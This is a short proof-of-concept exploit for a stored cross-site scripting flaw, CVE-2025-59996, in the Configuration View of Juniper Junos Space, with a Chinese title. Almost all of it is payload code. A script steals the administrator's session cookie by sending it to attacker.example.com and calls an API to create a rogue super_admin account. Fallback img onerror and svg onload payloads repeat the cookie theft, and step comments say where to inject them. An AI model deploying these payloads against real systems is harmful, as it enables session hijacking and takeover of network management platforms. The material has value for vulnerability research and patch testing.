CVE-2025-59996 Juniper Junos Space 配置视图XSS漏洞

<!-- CVE-2025-59996: Juniper Junos Space Configuration View XSS PoC --> <!-- This PoC demonstrates the XSS injection in the Configuration View page --> <!-- Step 1: Inject malicious script via configuration field --> <!-- When creating or editing a device configuration in Junos Space, --> <!-- inject the following payload into a text field that gets rendered --> <!-- in the Configuration View page (e.g., device description, hostname, or comment) --> <script> // Exfiltrate admin session cookie to attacker-controlled server var img = new Image(); img.src = "https://attacker.example.com/steal?cookie=" + document.cookie; // Alternatively, perform actions as the admin user // e.g., create a new admin account, modify device configurations, etc. fetch('/api/user/create', { method: 'POST', headers: {'Content-Type': 'application/json'}, body: JSON.stringify({ username: 'attacker_admin', password: 'P@ssw0rd123', role: 'super_admin' }) }); </script> <!-- Alternative payload using event handlers (if <script> tags are filtered) --> <img src=x onerror="fetch('https://attacker.example.com/steal?cookie='+document.cookie)"> <!-- Alternative payload using SVG --> <svg onload="javascript:document.location='https://attacker.example.com/steal?cookie='+document.cookie"> <!-- Step 2: Wait for an administrator to view the Configuration View page --> <!-- The injected script will execute in the administrator's browser context --> <!-- with full admin privileges on the Junos Space platform -->